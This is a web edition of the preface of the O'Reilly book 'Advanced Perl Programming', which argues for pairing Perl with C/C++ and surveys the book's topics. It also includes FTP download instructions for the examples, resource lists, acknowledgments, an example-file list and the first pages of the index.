You will not merely dabble with language syntax or the APIs of different modules as you read this book. You will spend just as much time dealing with real-world issues such as avoiding deadlocks during remote procedure calls and switching smoothly between data storage using a flat file or a database. Along the way, you'll become comfortable with such Perl techniques as run-time evaluation, nested data structures, objects, and closures.

This book expects you to know the essentials of Perl - a minimal subset, actually; you must be conversant with the basic data types (scalars, arrays, and hashes), regular expressions, subroutines, basic control structures (if, while, unless, for, foreach), file I/O, and standard variables such as @ARGV and $_. Should this not be the case, I recommend Randal Schwartz and Tom Christiansen's excellent tutorial, Learning Perl, Second Edition.

The book - in particular, this preface - substantiates two convictions of mine.

The first is that a two-language approach is most appropriate for tackling typical large-application projects: a scripting language (such as Perl, Visual Basic, Python, or Tcl) in conjunction with a systems programming language (C, C++, Java). A scripting language has weak compile-time type checking, has high-level data structures (for instance, Perl's hash table is a fundamental type; C has no such thing), and does not typically have a separate compilation-linking phase. A systems programming language is typically closer to the operating system, has fine-grained data types (C has short, int, long, unsigned int, float, double, and so on, whereas Perl has a scalar data type), and is typically faster than interpreted languages. Perl spans the language spectrum to a considerable degree: It performs extremely well as a scripting language, yet gives you low-level access to operating system API, is much faster than Java (as this book goes to press), and can optionally be compiled.

The distinction between scripting and systems programming languages is a contentious one, but it has served me well in practice. This point will be underscored in the last three chapters of the book (on extending Perl, embedding Perl, and Perl internals).

I believe that neither type of language is properly equipped to handle sophisticated application projects satisfactorily on its own, and I hope to make the case for Perl and C/C++ as the two-language combination mentioned earlier. Of course, it would be most gratifying, or totally tubular, as the local kids are wont to say, if the design patterns and lessons learned in this book help you even if you were to choose other languages.

The second conviction of mine is that to deploy effective applications, it is not enough just to know the language syntax well. You must know, in addition, the internals of the language's environment, and you must have a solid command of technology areas such as networking, user interfaces, databases, and so forth (specially issues that transcend language-specific libraries).

Let's look at these two points in greater detail.

The Case for Scripting

I started my professional life building entire applications in assembler, on occasion worrying about trying to save 100 bytes of space and optimizing away that one extra instruction. C and PL/M changed my world view. I found myself getting a chance to reflect on the application as a whole, on the life-cycle of the project, and on how it was being used by the end-user. Still, where efficiency was paramount, as was the case for interrupt service routines, I continued with assembler. (Looking back, I suspect that the PL/M compiler could generate far better assembly code than I, but my vanity would have prevented such an admission.)

My applications' requirements continued to increase in complexity; in addition to dealing with graphical user interfaces, transactions, security, network transparency, and heterogeneous platforms, I began to get involved in designing software architectures for problems such as aircraft scheduling and network management. My own efficiency had become a much more limiting factor than that of the applications. While object orientation was making me more effective at the design level, the implementation language, C++, and the libraries and tools available weren't helping me raise my level of programming. I was still dealing with low-level issues such as constructing frameworks for dynamic arrays, meta-data, text manipulation, and memory management. Unfortunately, environments such as Eiffel, Smalltalk, and the NeXT system that dealt with these issues effectively were never a very practical choice for my organization. You might understand why I have now become a raucous cheerleader for Java as the application development language of choice. The story doesn't end there, though.

Lately, the realization has slowly crept up on me that I have been ignoring two big time-sinks at either end of a software life-cycle. At the designing end, sometimes the only way to clearly understand the problem is to create an electronic storyboard (prototype). And later, once the software is implemented, users are always persnickety (er, discerning) about everything they can see, which means that even simple form-based interfaces are constantly tweaked and new types of reports are constantly requested. And, of course, the sharper developers wish to move on to the next project as soon as the software is implemented. These are occasions when scripting languages shine. They provide quick turnaround, dynamic user interfaces, terrific facilities for text handling, run-time evaluation, and good connections to databases and networks. Best of all, they don't need prima donna programmers to baby-sit them. You can focus your attention on making the application much more user-centric, instead of trying to figure out how to draw a pie chart using Xlib's[1] lines and circles.

[1] X Windows Library. Someone once mentioned that programming X Windows is like taking the square root of a number using Roman numerals!

Clearly, it is not practical to develop complex applications in a scripting language alone; you still want to retain features such as performance, fine-grained data structures, and type safety (crucial when many programmers are working on one problem). This is why I am now an enthusiastic supporter of using scripting languages along with C/C++ (or Java when it becomes practical in terms of performance). Many people have been reaping enormous benefits from this component-based approach, in which the components are written in C and woven together using a scripting language. Just ask any of the zillions of Visual Basic, PowerBuilder, Delphi, Tcl, and Perl programmers - or, for that matter, Microsoft Office and Emacs users.

For a much more informed and eloquent (not to mention controversial) testimonial to the scripting approach, please read the paper by Dr. John Ousterhout,[2] available at http://www.scriptics.com/people/john.ousterhout/.

[2] Inventor of Tcl (Tool Command Language, pronounced "tickle").

For an even better feel for this argument, play with the Tcl plug-in for Netscape (from the same address), take a look at the sources for Tcl applets ("Tclets"), and notice how compactly you can solve simple problems. A 100-line applet for a calculator, including the UI? I suspect that an equivalent Java applet would not take fewer than 800 lines and would be far less flexible.

Advanced Perl Programming | Next: Why Perl?
Book Index | Why Perl?


[Preface] Why Perl?

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

Why Perl?

So why Perl, then, and not Visual Basic, Tcl, or Python?

Although Visual Basic is an excellent choice on a Wintel[3] PC, it's not around on any other platform, so it has not been a practical choice for me.

[3] Wintel: The Microsoft Windows + Intel combination. I'll henceforth use the term "PC" for this particular combination and explicitly mention Linux and the Mac when I mean those PCs.

Tcl forces me to go to C much earlier than I want, primarily because of data and code-structuring reasons. Tcl's performance has never been the critical factor for me because I have always implicitly accounted for the fact and apportioned only the non-performance-critical code to it. I recommend Brian Kernighan's paper "Experience with Tcl/Tk for Scientific and Engineering Visualization," for his comments on Tcl and Visual Basic. It is available at http://inferno.bell-labs.com/cm/cs/who/bwk.

Most Tcl users are basically hooked on the Tk user interface toolkit; count me among them. Tk also works with Perl, so I get the best part of that environment to work with a language of my choice.

I am an unabashed admirer of Python, a scripting language developed by Guido Van Rossum (please see http://www.python.org/). It has a clean syntax and a nice object-oriented model, is thread-safe, has tons of libraries, and interfaces extremely well with C. I prefer Perl (to Python) more for practical than for engineering reasons. On the engineering side, Perl is fast and is unbeatable when it comes to text support. It is also highly idiomatic, which means that Perl code tends to be far more compact than any other language. The last one is not necessarily a good thing, depending on your point of view (especially a Pythoner's); however, all these criteria do make it an excellent tool-building language. (See Chapter 17, Template-Driven Code Generation, for an example). On the other hand, there are a lot of things going for Python, and I urge you to take a serious look at it. Mark Lutz's book Programming Python (O'Reilly, 1996) gives a good treatment of the language and libraries.

On the practical side, your local bookstore and the job listings in the newspaper are good indicators of Perl's popularity. Basically, this means that it is easy to hire Perl programmers or get someone to learn the language in a hurry. I'd wager that more than 95% of the programmers haven't even heard of Python. 'Tis unfortunate but true.

It is essential that you play with these languages and draw your own conclusions; after all, the observations in the preceding pages are colored by my experiences and expectations. As Byron Langenfeld observed, "Rare is the person who can weigh the faults of others without putting his thumb on the scales." Where appropriate, this book contrasts Perl with Tcl, Python, C++, and Java on specific features to emphasize that the choice of a language or a tool is never a firm, black-and-white decision and to show that mostly what you can do with one language, you can do with another too.

Previous: The Case for Scripting | Advanced Perl Programming | Next: What Must I Know?
The Case for Scripting | Book Index | What Must I Know?


[Preface] What Must I Know?

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

What Must I Know?

To use Perl effectively in an application, you must be conversant with three aspects:

  • The language syntax and idioms afforded by the language.

  • The Perl interpreter for writing C extensions for your Perl scripts or embedding the Perl interpreter in your C/C++ applications.

  • Technology issues such as networking, user interfaces, the Web, and persistence.

Figure 1 shows a map of the topics dealt with in this book. Each major aspect listed above is further classified. The rest of this section presents a small blurb about each topic and the corresponding chapter where the subject is detailed. The discussion is arranged by topic rather than by the sequence in which the chapters appear.

Figure 1: Classification of topics covered in this book

Language Syntax

Pointers or references bring an enormous sophistication to the type of data structures you can create with a language. Perl's support for references and its ability to let you code without having to specify every single step makes it an especially powerful language. For example, you can create something as elaborate as an array of hashes of arrays[4] all in a single line. Chapter 1, Data References and Anonymous Storage, introduces you to references and what Perl does internally for memory management. Chapter 2, Implementing Complex Data Structures, exercises the syntax introduced in the earlier chapter with a few practical examples.

[4] We'll henceforth refer to indexed lists/arrays as "arrays" and associative arrays as "hashes" to avoid confusion.

Perl supports references to subroutines and a powerful construct called closures, which, as LISPers know, is essentially an unnamed subroutine that carries its environment around with it. This facility and its concomitant idioms will be clarified and put to good use in Chapter 4, Subroutine References and Closures.

References are only one way of obtaining indirection. Scalars can contain embedded pointers to native C data structures. This subject is covered in Chapter 20, Perl Internals. Ties represent an alternative case of indirection: All Perl values can optionally trigger specific Perl subroutines when they are created, accessed, or destroyed. This aspect is discussed in Chapter 9, Tie.

Filehandles, directory handles, and formats aren't quite first-class data types; they cannot be assigned to one another or passed as parameters, and you cannot create local versions of them. In Chapter 3, Typeglobs and Symbol Tables, we study why we want these facilities in the first place and the work-arounds to achieve them. This chapter focuses on a somewhat hidden data type called a typeglob and its internal representation, the understanding of which is crucial for obtaining information about the state of the interpreter (meta-data) and for creating convenient aliases.

Now let's turn to language issues not directly related to Perl data types.

Perl supports exception handling, including asynchronous exceptions (the ability to raise user-defined exception from signal handlers). As it happens, eval is used for trapping exceptions as well as for run-time evaluation, so Chapter 5, Eval, does double-duty explaining these distinct, yet related, topics.

Section 6.2, "Packages and Files", details Perl's support for modular programming, including features such as run-time binding (in which the procedure to be called is known only at run-time), inheritance (Perl's ability to transparently use a subroutine from another class), and autoloading (trapping accesses to functions that don't exist and doing something meaningful). Chapter 7, Object-Oriented Programming, takes modules to the next logical step: making modules reusable not only from the viewpoint of a library user, but also from that of a developer adding more facets to the library.

Perl supports run-time evaluation: the ability to treat character strings as little Perl programs and dynamically evaluate them. Chapter 5 introduces the eval keyword and some examples of how this facility can be used, but its importance is truly underscored in later chapters, where it is used in such diverse areas as SQL query evaluation (Chapter 11, Implementing Object Persistence), code generation (Chapter 17), and dynamic generation of accessor functions for object attributes (Chapter 8, Object Orientation: The Next Few Steps).

The Perl Interpreter

Three chapters are devoted to working with and understanding the Perl interpreter. There are two main reasons for delving into this internal aspect of Perl. One is to extend Perl, by which I mean adding a C module that can do things for which Perl is not well-suited or is not fast enough. The other is to embed Perl in C, so that a C program can invoke Perl for a specific task such as handling a regular expression substitution, which you may not want to code up in C.

Chapter 18, Extending Perl:A First Course, presents two tools (xsubpp and SWIG) to create custom dynamically loadable C libraries for extending the Perl interpreter.

Chapter 19, Embedding Perl:The Easy Way, presents an easy API that was developed for this book to enable you to embed the interpreter without having to worry about the internals of Perl.

But if you really want to know what is going on underneath or want to develop powerful extensions, Chapter 20 should quench your thirst (or drown you in detail, depending on your perspective).

Technology Areas

I am of the opinion that an applications developer should master at least the following six major technology areas: user interfaces, persistence, interprocess communication and networking, parsing and code generation, the Web, and the operating system. This book presents detailed explanations of the first four topics (in Chapters Chapter 10, Persistence through Chapter 17). Instead of just presenting the API of publicly available modules, the book starts with real problems and develops useful solutions, including appropriate Perl packages. For example, Chapter 13, Networking: Implementing RPC, explains the implementation of an RPC toolkit that avoids deadlocks even if two processes happen to call each other at the same time. As another example, Chapter 11, develops an "adaptor" to transparently send a collection of objects to a persistent store of your choice (relational database, plain file, or DBM file) and implements querying on all of them.

This book does not deal with operating system specific issues, partly because Perl hides a tremendous number of these differences and partly because these details will distract us from the core themes of the book. Practically all the code in this book is OS-neutral.

I have chosen to ignore web-related issues and, more specifically, CGI. This is primarily because there are numerous books[5] and tutorials on CGI scripting with Perl that do more justice to this subject than the limited space on this book can afford. In addition, developers of most interesting CGI applications will spend much more time with the concepts presented in this book than with the simple details of the CGI protocol per se.

[5] Refer to Shishir Gundavaram's book CGI Programming on the World Wide Web (O'Reilly)

Previous: Why Perl? | Advanced Perl Programming | Next: The Book's Approach
Why Perl? | Book Index | The Book's Approach


[Preface] The Book's Approach

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

The Book's Approach

You have not bought this book just to see a set of features. For that, free online documentation would suffice. I want to convey practical problem-solving techniques that use appropriate features, along with the foundations of the technology areas mentioned in the previous section.

A Note to the Expert

This book takes a tutorial approach to explaining bits and pieces of Perl syntax, making the need felt for a particular concept or facility before explaining how Perl fills the void. Experienced people who don't need the justifications for any facilities or verbose examples will likely benefit by first taking a look at Appendix B, Syntax Summary, to quickly take in all the syntactic constructs and idioms described in this book and go to the appropriate explanations should the need arise.

It is my earnest hope that the chapters on technology, embedding, extending, and Perl interpreter internals (the non-syntax-related ones) will be useful to the casual user and expert alike.

Systems View

This book tends to take the systems view of things; most chapters have a section explaining what is really going on inside. I believe that you can never be a good programmer if you know only the syntax of the language but not how the compilation or run-time environment is implemented. For example, a C programmer must know that it is a bad idea for a function to return the address of a local variable (and the reason for this restriction), and a Java programmer should know why a thread may never get control in a uniprocessor setup even if it is not blocked.

In addition, knowing how everything works from the ground up results in a permanent understanding of the facilities. People who know the etymology of words have much less trouble maintaining an excellent vocabulary.

Examples

Perl is a highly idiomatic language, full of redundant features.[6] While I'm as enthusiastic as the next person about cool and bizarre ways of exploiting a language,[7] the book is not a compendium of gee-whiz features; it sticks to the minimal subset of Perl that is required to develop powerful applications.

[6] There are hundreds of ways of printing "Just Another Perl Hacker," mostly attributed to Randal Schwartz. See: http://www.perl.com/CPAN/misc/japh.

[7] As a judge for the Obfuscated C Code contest, I see more than my fair share of twisted, cryptic, and spectacular code. See http://www.ioccc.org/ if you don't know about this contest. Incidentally, if you think Perl isn't confusing enough already, check out the Obfuscated Perl contest at http://fahrenheit-451.media.mit.edu/tpj/contest/.

In presenting the example code, I have also sacrificed efficiency and compactness for readability.

FTP

If you have an Internet connection (permanent or dialup), the easiest way to use FTP is via your web browser or favorite FTP client. To get the examples, simply point your browser to:

ftp://ftp.oreilly.com/published/oreilly/nutshell/advanced_perl/examples.tar.gz

If you don't have a web browser, you can use the command-line FTP client included with Windows NT (or Windows 95).

% ftp ftp.oreilly.com
Connected to ftp.oreilly.com.
220 ftp.oreilly.com FTP server (Version 6.34 Thu Oct 22 14:32:01 EDT 1992) ready.
Name (ftp.oreilly.com:username): anonymous
331 Guest login ok, send e-mail address as password.
Password: username@hostname            Use your username and host here
230 Guest login ok, access restrictions apply.
ftp> cd /published/oreilly/nutshell/advanced_perl
250 CWD command successful.
ftp> get README
200 PORT command successful.
150 Opening ASCII mode data connection for README (xxxx bytes).
226 Transfer complete.
local: README remote: README
xxxx bytes received in xxx seconds (xxx Kbytes/s)
ftp> binary
200 Type set to I.
ftp> get examples.tar.gz
200 PORT command successful.
150 Opening BINARY mode data connection for examples.tar.gz (xxxx bytes).
226 Transfer complete. local: examples.tar.gz remote: examples.tar.gz
xxxx bytes received in xxx seconds (xxx Kbytes/s)
ftp> quit
221 Goodbye.
%

FTPMAIL

FTPMAIL is a mail server available to anyone who can send electronic mail to and receive electronic mail from Internet sites. Any company or service provider that allows email connections to the Internet can access FTPMAIL, as described in the following paragraph.

You send mail to ftpmail@online.oreilly.com. In the message body, give the FTP commands you want to run. The server will run anonymous FTP for you and mail the files back to you. To get a complete help file, send a message with no subject and the single word "help" in the body. The following is an example mail message that gets the examples. This command sends you a listing of the files in the selected directory and the requested example files. The listing is useful if you are interested in a later version of the examples.

Subject:
reply-to username@hostname      (Message Body) Where you want files mailed
open
cd /published/oreilly/nutshell/advanced.perl
dir
get README
mode binary
uuencode
get examples.tar.gz
quit
.

A signature at the end of the message is acceptable as long as it appears after "quit."

Previous: What Must I Know? | Advanced Perl Programming | Next: Conventions
What Must I Know? | Book Index | Conventions


[Preface] Conventions

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

Conventions

The following typographic conventions are used in this book:

Italic

is used for filenames and command names. It is also used for electronic mail addresses and URLs.

Constant Width

is used for code examples, as well as names of elements of code.

Bold

is used in code sections to draw attention to key parts of the program. It also marks user input in examples.

Courier Italic

is used in code sections to draw attention to code generated automatically by tools.

Previous: The Book's Approach | Advanced Perl Programming | Next: Resources
The Book's Approach | Book Index | Resources


[Preface] Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

Resources

These are some books that I have found immensely useful in my professional life, in particular in applications development. Perhaps you will too.

  1. Design Patterns. Elements of Reusable Object-Oriented Software. Erich Gamma, Richard Helm, Ralph Johnson, and John Vlissides. Addison-Wesley (1994)

  2. Programming Pearls. Jon Bentley. Addison-Wesley (1986)

    Just get it. Read it on the way home!

  3. More Programming Pearls. Jon Bentley. Addison-Wesley (1990)

  4. Design and Evolution of C++. Bjarne Stroustrup. Addison-Wesley (1994)

    Fascinating study of the kind of considerations that drive language design.

  5. The Mythical Man-Month. Frederick P. Brooks. Addison-Wesley (1995)

    One of the most readable sets of essays on software project management and development.

  6. Bringing Design to Software. Terry Winograd. Addison-Wesley (1996)

    What we typically don't worry about in an application - but should.

  7. BUGS in Writing. Lyn Dupr�. Addison-Wesley (1995)

    Highly recommended for programmers writing technical documentation.

Previous: Conventions | Advanced Perl Programming | Next: Perl Resources
Conventions | Book Index | Perl Resources


[Preface] Perl Resources

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

Perl Resources

This is a list of books, magazines, and web sites devoted to Perl:

  1. Programming Perl, Second Edition. Larry Wall, Tom Christiansen, and Randal Schwartz. O'Reilly (1996)

  2. Learning Perl. Randal Schwartz. O'Reilly (1993)

  3. The Perl Journal. Edited by Jon Orwant. At http://www.tpj.com/

  4. Tom Christiansen's Perl web site, http://www.perl.com/perl/index.html

  5. Clay Irving's Perl Reference web site, http://reference.perl.com/

Previous: Resources | Advanced Perl Programming | Next: We'd Like to Hear from You
Resources | Book Index | We'd Like to Hear from You


[Preface] We'd Like to Hear from You

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

We'd Like to Hear from You

We have tested and verified all of the information in this book to the best of our ability, but you may find that features have changed (or even that we have made mistakes!). Please let us know about any errors you find, as well as your suggestions for future editions, by writing:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
1-800-998-9938 (in US or Canada)
1-707-829-0515 (international/local)
1-707-829-0104 (FAX)

You can also send us messages electronically. To be put on the mailing list or request a catalog, send email to:

nuts@oreilly.com (via the Internet)

To ask technical questions or comment on the book, send email to:

bookquestions@oreilly.com (via the Internet)

Previous: Perl Resources | Advanced Perl Programming | Next: Acknowledgments
Perl Resources | Book Index | Acknowledgments


[Preface] Acknowledgments

Advanced Perl Programming

Advanced Perl ProgrammingSearch this book

Acknowledgments

To my dear wife, Alka, for insulating me from life's daily demands throughout this project and for maintaining insanely good cheer in all the time I have known her.

To our parents, for everything we have, and are.

To my editors, Andy Oram and Steve Talbott, who patiently endured my writing style through endless revisions and gently taught me how to write a book. To O'Reilly and Associates, for allowing both authors and readers to have fun doing their bit.

To Larry Wall, for Perl, and for maintaining such a gracious and accessible Net presence. To the regular contributors on the Perl 5 Porters list (and to Tom Christiansen in particular), for enhancing, documenting, and tirelessly evangelizing Perl, all in their "spare" time. I envy their energy and dedication.

To this book's reviewers, who combed through this book with almost terrifying thoroughness. Tom Christiansen, Jon Orwant, Mike Stok, and James Lee reviewed the entire book and offered great insight and encouragement. I am also deeply indebted to Graham Barr, David Beazley, Peter Buckner, Tim Bunce, Wayne Caplinger, Rajappa Iyer, Jeff Okamoto, Gurusamy Sarathy, Peter Seibel, and Nathan Torkington for reading sections of the book and making numerous invaluable suggestions. Any errors and omissions remain my own. A heartfelt thanks to Rao Akella, the amazing quotemeister, for finding suitable quotes for this book.

To my colleagues at WebLogic and TCSI, for providing such a terrific work environment. I'm amazed I'm actually paid to have fun. (There goes my raise....)

To all my friends, for the endless cappuccino walks, pool games, and encouraging words and for their patience while I was obsessing with this book. I am truly blessed.

To the crew at O'Reilly who worked on this book, including Jane Ellin, the production editor, Mike Sierra for Tools support, Robert Romano for the figures, Seth Maislin for the index, Nicole Gipson Arigo, David Futato, and Sheryl Avruch for quality control, Nancy Priest and Edie Freedman for design, and Madeleine Newell for production support.

Previous: We'd Like to Hear from You | Advanced Perl Programming | Next: 1. Data References and Anonymous Storage
We'd Like to Hear from You | Book Index | 1. Data References and Anonymous Storage


Examples from Advanced Programming Perl

Advanced Programming Perl

Examples for Advanced Perl Programming

Chapter 2: Implementing Complex Data Structures
2.4 Pass the Envelope (oscar.pl)
2.4 Pass the Envelope (oscar.txt)
2.5 Pretty-Printing (pretty_print.pl)
2.5 Pretty-Printing (dumpvar.pl)

Chapter 4: Subroutine References and Closures
Example 4.4: Closures Sharing Variables (even_odd.pl)
Example 4.5: A Random-Number-Generating Stream (rand.pl)

Chapter 5: Eval
Example 5.1: eval.pl (eval.pl)
Example 5.3: col: A Script to Extract Columns from a File (col.pl)

Chapter 6: Modules
Example 6.1: Environment.pm: Create Variables Corresponding to Environment Variables (Environment.pm)

Chapter 8: Object Orientation: The Next Few Steps
(Object)

Chapter 9: Tie
9.1.1 Example: Stopwatch (Stopwatch.pm)
9.2.1 TIEARRAY Example: File as an Array (TieFile.pm)
9.5 Example: Monitoring Variables (Monitor.pm)
9.5 Example: Monitoring Variables (monitor_demo.pl)

Chapter 10: Persistence
(Persistence)

Chapter 13: Networking: Implementing RPC
(Networking)

Chapter 14: User Interfaces with Tk
14.3.4 Canvas (canvas.pl)
14.3.6 Listbox (listbox.pl)
14.3.8 Menus (menu.pl)
14.3.9 Scrollbars and Scrolling (scroll_test.pl)
14.3.10 Scale (scale.pl)
14.3.11 HList (hlist.pl)
Example 14.7: Directory Browser Built Using an HList Widget (folder.xbm)
Example 14.7: Directory Browser Built Using an HList Widget (open_folder.xbm)

Chapter 15: GUI Example: Tetris
15.1 Introduction to Tetris (tetris.pl)

Chapter 16: GUI Example: Man Page Viewer
16.1 man and perlman (perlman.pl)

Chapter 17: Template-Driven Code Generation
Jeeves Example (Jeeves)

Chapter 18: Extending Perl:A First Course
(Basic_XS)
(Fractal_with_SWIG)
(Fractal_with_XS)
(Typemaps_with_SWIG)
(Typemaps_with_XS)

Chapter 19: Embedding Perl:The Easy Way
(ezembed.c)

Chapter 20: Perl Internals


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: Symbols and Numbers

@, for dereferencing arrays : 1.1.4. References to Arrays
\ (backslash) in static allocation : 1.1. Referring to Existing Variables
{ } (braces) : 1.2.5. A More General Rule
anonymous hashes : 1.2.3. References to Anonymous Storage
[ ] (brackets), for anonymous arrays : 1.2.3. References to Anonymous Storage
:: notation : 6.6. Nesting Packages
for instance methods : 7.2.4. The Need for Polymorphism
$ (dollar sign)
dereferencing scalars : 1.1.3. References to Scalars
-> (arrow) notation
1.1.7. Shortcuts with the Arrow Notation
1.3.2. Final Shortcut: Omit Arrows Between Subscripts
indirect notation versus : 7.2.5.1. Detour: The indirect notation
for instance methods : 7.2.4. The Need for Polymorphism
<�> (diamond) operator : 3.1.2.1. When would you ever need to use local?
( ) for anonymous arrays : 1.2.3. References to Anonymous Storage
%, for dereferencing hashes : 1.1.5. References to Hashes
" (quotation marks) : 5.3. Watch Your Quotes
' (single quotation mark) : 5.3. Watch Your Quotes

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: A

absolute text widget positioning : 14.3.5.1. Inserting text at absolute positions
abstract syntax tree (AST) : 17.2. Jeeves Example
Academy Award data (example) : 2.4. Pass the Envelope
accept function : 12.2.1. Receiver
accessing
object attributes : 7.2.8. Accessor Methods
from other packages : 6.1. Basic Package
privileges, persistence and : 10.1. Persistence Issues
symbol table : 6.8. Accessing the Symbol Table
accessor methods : 7.2.8. Accessor Methods
Adaptor project : 11. Implementing Object Persistence
design notes : 11.2. Design Notes
implementation of : 11.3. Implementation
Adaptor::DBI module : 11.1. Adaptor: An Introduction
database mapping : 11.2.4. Multivalued Attributes and Database Mapping
implementation of : 11.3.2. Adaptor::DBI
object uniqueness and : 11.2.8. Uniqueness of Objects in Memory
Adaptor::File module : 11.1. Adaptor: An Introduction
database mapping : 11.2.4. Multivalued Attributes and Database Mapping
implementation of : 11.3.1. Adaptor::File
object uniqueness and : 11.2.8. Uniqueness of Objects in Memory
add_prop procedure : 17.4.1. AST Module
add_prop_list procedure : 17.4.1. AST Module
after function : 14.5. Timers
alarm function
5.6. Using Eval for Time-Outs
14.5. Timers
aliases : (see typeglobs)
allocate subroutine : 7.2.6. The Need for Inheritance
allocating memory
18.1. Writing an Extension: Overview
20.5.6.1. Recommended memory allocation and deallocation routines
anonymous
arrays
1.2.3. References to Anonymous Storage
1.3.2. Final Shortcut: Omit Arrows Between Subscripts
definition of : 1.1. Referring to Existing Variables
hashes
1.2.3. References to Anonymous Storage
1.3.2. Final Shortcut: Omit Arrows Between Subscripts
subroutines
naming : 3.3.3. Naming Anonymous Subroutines
references to : 4.1.2. References to Anonymous Subroutines
API, Perl : 19.2. Embedding Overview
example of using : 19.3. Examples
Archimedean spiral (example) : 14.3.4. Canvas
architecture, Perl : 20.2. Architecture
arrays : 1.6. A View of the Internals
anonymous
1.2.3. References to Anonymous Storage
1.3.2. Final Shortcut: Omit Arrows Between Subscripts
of arrays : 2.2. Example: Matrices
arrow notation for : 1.1.7. Shortcuts with the Arrow Notation
AVs (array values) : 20.3.2. Array Values (AV)
dynamic binding : 9.2. Tying Arrays
files as (example) : 9.2.1. TIEARRAY Example: File as an Array
of hashes : 2.2.2. Other Matrix Representations
multidimensional : 1.3.2. Final Shortcut: Omit Arrows Between Subscripts
passing to subroutines : 1.2.1. Passing Arrays and Hashes to Subroutines
references to
1.1.4. References to Arrays
1.6.2. Array/Hash References Versus Element References
storing attributes with : 8.1.1. ObjectTemplate: Attribute Storage Using Arrays
of subroutine references : 4.2.1. Dispatch Table
SWIG and : 18.3. SWIG Features
of symbolic references : 1.5. Symbolic References
arrow notation (->)
1.1.7. Shortcuts with the Arrow Notation
1.3.2. Final Shortcut: Omit Arrows Between Subscripts
indirect notation versus : 7.2.5.1. Detour: The indirect notation
for instance methods : 7.2.4. The Need for Polymorphism
associations, object : 11.2.7. Object Associations
associative arrays : (see hashes)
AST (abstract syntax tree) : 17.2. Jeeves Example
AST module : 17.4.1. AST Module
at sign (@), for dereferencing arrays : 1.1.4. References to Arrays
attributes
accessor methods for : 7.2.8. Accessor Methods
class attributes : 7.2.5. Class Methods and Attributes
computed : 7.2.8. Accessor Methods
efficient storage of : 8.1. Efficient Attribute Storage
inheritance of : 8.3.1. Attribute Inheritance
object attributes : 7.2.1. Attributes
storing with arrays : 8.1.1. ObjectTemplate: Attribute Storage Using Arrays
storing with typeglobs : 8.1.2. Attribute Storage Using Typeglobs
AUTOLOAD function
6.7. Autoloading
7.2.7. Object Destruction
autoloading modules/packages : 6.7. Autoloading
automatic dereferencing : 1.1.8. No Automatic Dereferencing
Autosplit module : 6.7. Autoloading
AVs (array values) : 20.3.2. Array Values (AV)

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: B

backslash (\) in static allocation : 1.1. Referring to Existing Variables
base classes : 7.2.6. The Need for Inheritance
overriding : 7.2.6.1. Overriding base classes
Beazley, Dave : 18. Extending Perl:A First Course
BEGIN subroutine, compilation and : 6.3. Package Initialization and Destruction
behavior, object : 7.2.3. Behavior
Bentley, Jon : 2. Implementing Complex Data Structures
Berkeley DB : 10.3.3. Berkeley DB
bidirectional communication : 12.2.3. Bidirectional Communications
bind function : 14.6. Event Bindings
binding events : (see events)
bitmaps, widgets and : 14.3.1.2. Images
bless statement : 7.2.4. The Need for Polymorphism
blessed references : 20.3.1.3. SVs and object pointers
blocking calls
12.1. Networking Primer
12.3. Handling Multiple Clients
12.3.2.1. Blocking looms again
event loops and : 14.7. Event Loops
nonblocking filehandles versus : 12.3.3. Nonblocking Filehandles
blocks of code : 1.2.5. A More General Rule
bootstrapping C library : 18.1. Writing an Extension: Overview
boundaries, persistence and : 10.1. Persistence Issues
braces { } : 1.2.5. A More General Rule
anonymous hashes : 1.2.3. References to Anonymous Storage
brackets [ ] for anonymous arrays : 1.2.3. References to Anonymous Storage
Brooks, Fred : 7.1. OO: An Introduction
buttons
A.1. Button
14.3.2. Labels and Buttons
checkbuttons
A.1.2. Checkbutton
14.3.3. Radiobuttons and Checkbuttons
radiobuttons
A.1.1. Radiobutton
14.3.3. Radiobuttons and Checkbuttons
bye function
17.3.2. Intermediate Perl Code
17.4.1. AST Module

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 1999 O'Reilly & Associates, Inc. All Rights Reserved.


Index

Search | Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Index: C

C/C++ languages
classes of, SWIG and : 18.3. SWIG Features
data structures in : 2.1. User-Defined Structures
dynamic tracing : 9.6.3. C++
exception handling : 5.2. The Block Form: Exception Handling
header files : 18.1.1. The Extension Process
modular programming in : 6.9.3. C/C++
object orientation : 7.5.3. C++ and Java
references in : 1.7.3. C/C++
run-time evaluation and error handling : 5.7.3. C / C++
subroutines in : 4.5.3. C++
using with Perl : 18. Extending Perl:A First Course
Mandelbrot code example : 18.2. Example: Fractals with Perl
XS and C++
18.4.5. C++ Code
20.5.5. C++ Objects and XS Typemaps
calculator, eval for (example) : 5.4. Using Eval for Expression Evaluation
callbacks
4.2. Using Subroutine References
13.1.1.1. Msg: Send-side routines
associating with button clicks : 14.3.2. Labels and Buttons
closures for : 4.4.1. Using Closures as "Smart" Callbacks
objects as : 4.4.3. Closures Versus Objects
widgets and : 14.6. Event Bindings
caller function : B.8. Meta-Information
can function : 7.3. UNIVERSAL
Canvas widgets
A.2. Canvas
14.3.4. Canvas
Tetris GUI (example) : 15. GUI Example: Tetris
CASE tools : 17.1. On Code Generation
cget function : 14.3.2. Labels and Buttons
checkbuttons
